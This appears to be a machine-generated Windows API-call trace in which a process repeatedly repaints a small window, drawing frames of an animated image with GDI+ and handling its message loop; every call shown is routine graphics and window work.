[0171.097] GetCurrentObject (hdc=0x630106c6, type=0x6) returned 0x18a002e [0171.097] SaveDC (hdc=0x630106c6) returned 1 [0171.097] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1d040b8a [0171.097] GetClipRgn (hdc=0x630106c6, hrgn=0x1d040b8a) returned 0 [0171.097] SelectClipRgn (hdc=0x630106c6, hrgn=0x4d0407c3) returned 2 [0171.097] DeleteObject (ho=0x1d040b8a) returned 1 [0171.097] DeleteObject (ho=0x4d0407c3) returned 1 [0171.097] OffsetViewportOrgEx (in: hdc=0x630106c6, x=0, y=0, lppt=0x2746da0 | out: lppt=0x2746da0) returned 1 [0171.097] GetNearestColor (hdc=0x630106c6, color=0xffffff) returned 0xffffff [0171.098] CreateSolidBrush (color=0xffffff) returned 0x25100190 [0171.098] FillRect (hDC=0x630106c6, lprc=0x15d7c0, hbr=0x25100190) returned 1 [0171.098] DeleteObject (ho=0x25100190) returned 1 [0171.098] RestoreDC (hdc=0x630106c6, nSavedDC=-1) returned 1 [0171.098] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.098] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x630106c6) returned 0x0 [0171.098] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb9c0dbd) returned 0x0 [0171.098] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.098] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0171.099] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0171.099] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.099] GetSystemMetrics (nIndex=42) returned 0 [0171.099] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0171.099] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0171.099] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0171.099] CoTaskMemFree (pv=0x1e91eca0) [0171.099] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1c) returned 0x0 [0171.101] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0171.101] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0171.101] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0171.101] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0171.101] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x630106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0171.101] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.101] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x630106c6) returned 0x0 [0171.102] SelectObject (hdc=0x630106c6, h=0x185000f) returned 0x1a05067e [0171.102] DeleteDC (hdc=0x630106c6) returned 1 [0171.102] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.102] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0171.102] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0171.102] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0171.102] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.102] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.102] WaitMessage () returned 1 [0171.144] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.144] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x602f8, Msg=0x3e0, wParam=0x5029e, lParam=0xffffffffc16ec16d) returned 0x0 [0171.144] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.144] WaitMessage () returned 1 [0171.144] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.144] NtdllDefWindowProc_W () returned 0x0 [0171.145] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.145] WaitMessage () returned 1 [0171.261] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0171.261] IsWindowUnicode (hWnd=0x2031e) returned 1 [0171.261] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0171.261] TranslateMessage (lpMsg=0x15e910) returned 0 [0171.261] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0171.262] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0171.262] GetCurrentThreadId () returned 0xec0 [0171.262] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0171.262] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0171.262] IsWindowUnicode (hWnd=0x2031e) returned 1 [0171.262] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0171.262] TranslateMessage (lpMsg=0x15e910) returned 0 [0171.262] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0171.262] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0171.262] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0171.263] CreateCompatibleDC (hdc=0x1010b9d) returned 0x640106c6 [0171.263] SelectObject (hdc=0x640106c6, h=0x1a05067e) returned 0x185000f [0171.263] GdipCreateFromHDC (hdc=0x640106c6, graphics=0x15daf0) returned 0x0 [0171.263] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0171.263] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0171.263] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0171.263] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0171.263] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0171.263] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.263] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0171.264] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.264] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.264] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0171.264] GdipCreateRegion (region=0x15dc20) returned 0x0 [0171.264] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0171.265] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0171.265] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0171.265] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0171.265] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.265] GetSystemMetrics (nIndex=42) returned 0 [0171.265] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0171.265] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0171.265] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0171.265] CoTaskMemFree (pv=0x1e91eca0) [0171.265] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0171.266] GdipCreateRegion (region=0x15d710) returned 0x0 [0171.266] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0171.266] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0171.266] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0171.266] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0171.266] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.266] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0171.267] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.267] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0171.267] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.267] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0171.267] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.267] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.268] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0171.268] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0171.268] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0171.268] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0171.268] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.268] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0171.268] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0171.268] GetCurrentObject (hdc=0x640106c6, type=0x1) returned 0x1b00017 [0171.268] GetCurrentObject (hdc=0x640106c6, type=0x2) returned 0x1900010 [0171.268] GetCurrentObject (hdc=0x640106c6, type=0x7) returned 0x1a05067e [0171.268] GetCurrentObject (hdc=0x640106c6, type=0x6) returned 0x18a002e [0171.268] SaveDC (hdc=0x640106c6) returned 1 [0171.268] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4e0407c3 [0171.268] GetClipRgn (hdc=0x640106c6, hrgn=0x4e0407c3) returned 0 [0171.268] SelectClipRgn (hdc=0x640106c6, hrgn=0x1e040b8a) returned 2 [0171.269] DeleteObject (ho=0x4e0407c3) returned 1 [0171.269] DeleteObject (ho=0x1e040b8a) returned 1 [0171.269] OffsetViewportOrgEx (in: hdc=0x640106c6, x=0, y=0, lppt=0x2748108 | out: lppt=0x2748108) returned 1 [0171.269] GetNearestColor (hdc=0x640106c6, color=0xffffff) returned 0xffffff [0171.269] CreateSolidBrush (color=0xffffff) returned 0x26100190 [0171.269] FillRect (hDC=0x640106c6, lprc=0x15d7c0, hbr=0x26100190) returned 1 [0171.269] DeleteObject (ho=0x26100190) returned 1 [0171.269] RestoreDC (hdc=0x640106c6, nSavedDC=-1) returned 1 [0171.269] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.269] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x640106c6) returned 0x0 [0171.269] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb9a0dbd) returned 0x0 [0171.269] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.270] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0171.270] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0171.270] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.270] GetSystemMetrics (nIndex=42) returned 0 [0171.270] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0171.270] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0171.270] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0171.270] CoTaskMemFree (pv=0x1e91eca0) [0171.270] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0171.270] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0171.270] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0171.271] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0171.271] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x640106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0171.272] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.272] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x640106c6) returned 0x0 [0171.272] SelectObject (hdc=0x640106c6, h=0x185000f) returned 0x1a05067e [0171.272] DeleteDC (hdc=0x640106c6) returned 1 [0171.272] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.272] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0171.272] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0171.272] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0171.272] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.272] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.272] WaitMessage () returned 1 [0171.642] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0171.642] IsWindowUnicode (hWnd=0x2031e) returned 1 [0171.642] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0171.642] TranslateMessage (lpMsg=0x15e910) returned 0 [0171.642] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0171.643] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0171.643] GetCurrentThreadId () returned 0xec0 [0171.643] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0171.643] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0171.643] IsWindowUnicode (hWnd=0x2031e) returned 1 [0171.643] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0171.643] TranslateMessage (lpMsg=0x15e910) returned 0 [0171.643] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0171.643] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0171.643] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0171.643] CreateCompatibleDC (hdc=0x1010b9d) returned 0x56010b81 [0171.644] SelectObject (hdc=0x56010b81, h=0x1a05067e) returned 0x185000f [0171.644] GdipCreateFromHDC (hdc=0x56010b81, graphics=0x15daf0) returned 0x0 [0171.644] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0171.644] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0171.644] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0171.644] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0171.644] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0171.644] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.644] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0171.645] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.645] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.645] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0171.645] GdipCreateRegion (region=0x15dc20) returned 0x0 [0171.645] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0171.645] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0171.645] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0171.646] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0171.646] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.646] GetSystemMetrics (nIndex=42) returned 0 [0171.646] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0171.646] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0171.646] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0171.646] CoTaskMemFree (pv=0x1e91eca0) [0171.646] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0171.646] GdipCreateRegion (region=0x15d710) returned 0x0 [0171.646] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0171.646] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0171.646] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0171.647] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0171.647] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.647] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0171.647] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.647] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0171.647] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.647] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0171.648] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.648] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.648] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0171.648] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0171.648] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0171.648] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0171.648] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.648] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0171.648] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0171.649] GetCurrentObject (hdc=0x56010b81, type=0x1) returned 0x1b00017 [0171.649] GetCurrentObject (hdc=0x56010b81, type=0x2) returned 0x1900010 [0171.649] GetCurrentObject (hdc=0x56010b81, type=0x7) returned 0x1a05067e [0171.649] GetCurrentObject (hdc=0x56010b81, type=0x6) returned 0x18a002e [0171.649] SaveDC (hdc=0x56010b81) returned 1 [0171.649] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1f040b8a [0171.649] GetClipRgn (hdc=0x56010b81, hrgn=0x1f040b8a) returned 0 [0171.649] SelectClipRgn (hdc=0x56010b81, hrgn=0x4f0407c3) returned 2 [0171.649] DeleteObject (ho=0x1f040b8a) returned 1 [0171.649] DeleteObject (ho=0x4f0407c3) returned 1 [0171.649] OffsetViewportOrgEx (in: hdc=0x56010b81, x=0, y=0, lppt=0x2748a40 | out: lppt=0x2748a40) returned 1 [0171.649] GetNearestColor (hdc=0x56010b81, color=0xffffff) returned 0xffffff [0171.650] CreateSolidBrush (color=0xffffff) returned 0x27100190 [0171.650] FillRect (hDC=0x56010b81, lprc=0x15d7c0, hbr=0x27100190) returned 1 [0171.650] DeleteObject (ho=0x27100190) returned 1 [0171.650] RestoreDC (hdc=0x56010b81, nSavedDC=-1) returned 1 [0171.651] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.651] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x56010b81) returned 0x0 [0171.651] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb980dbd) returned 0x0 [0171.651] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.651] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0171.651] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0171.651] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.651] GetSystemMetrics (nIndex=42) returned 0 [0171.651] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0171.651] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0171.651] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0171.651] CoTaskMemFree (pv=0x1e91eca0) [0171.651] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x0) returned 0x0 [0171.653] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0171.653] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0171.653] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0171.653] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0171.653] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x56010b81, x1=0, y1=0, rop=0xcc0020) returned 1 [0171.653] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.653] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x56010b81) returned 0x0 [0171.653] SelectObject (hdc=0x56010b81, h=0x185000f) returned 0x1a05067e [0171.653] DeleteDC (hdc=0x56010b81) returned 1 [0171.653] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.654] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0171.654] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0171.654] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0171.654] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.654] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.654] WaitMessage () returned 1 [0171.833] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0171.833] IsWindowUnicode (hWnd=0x2031e) returned 1 [0171.833] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0171.833] TranslateMessage (lpMsg=0x15e910) returned 0 [0171.833] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0171.833] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0171.833] GetCurrentThreadId () returned 0xec0 [0171.833] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0171.833] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0171.833] IsWindowUnicode (hWnd=0x2031e) returned 1 [0171.833] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0171.833] TranslateMessage (lpMsg=0x15e910) returned 0 [0171.833] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0171.833] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0171.833] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0171.834] CreateCompatibleDC (hdc=0x2d010b73) returned 0x7010bd9 [0171.834] SelectObject (hdc=0x7010bd9, h=0x1a05067e) returned 0x185000f [0171.834] GdipCreateFromHDC (hdc=0x7010bd9, graphics=0x15daf0) returned 0x0 [0171.834] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0171.834] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0171.834] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0171.834] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0171.834] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0171.834] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.834] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0171.835] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.835] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.835] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0171.836] GdipCreateRegion (region=0x15dc20) returned 0x0 [0171.836] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0171.836] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0171.836] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0171.836] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0171.836] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.836] GetSystemMetrics (nIndex=42) returned 0 [0171.836] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0171.836] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0171.836] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0171.836] CoTaskMemFree (pv=0x1e91eca0) [0171.836] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0171.836] GdipCreateRegion (region=0x15d710) returned 0x0 [0171.837] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0171.837] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0171.837] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0171.837] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0171.837] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.837] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 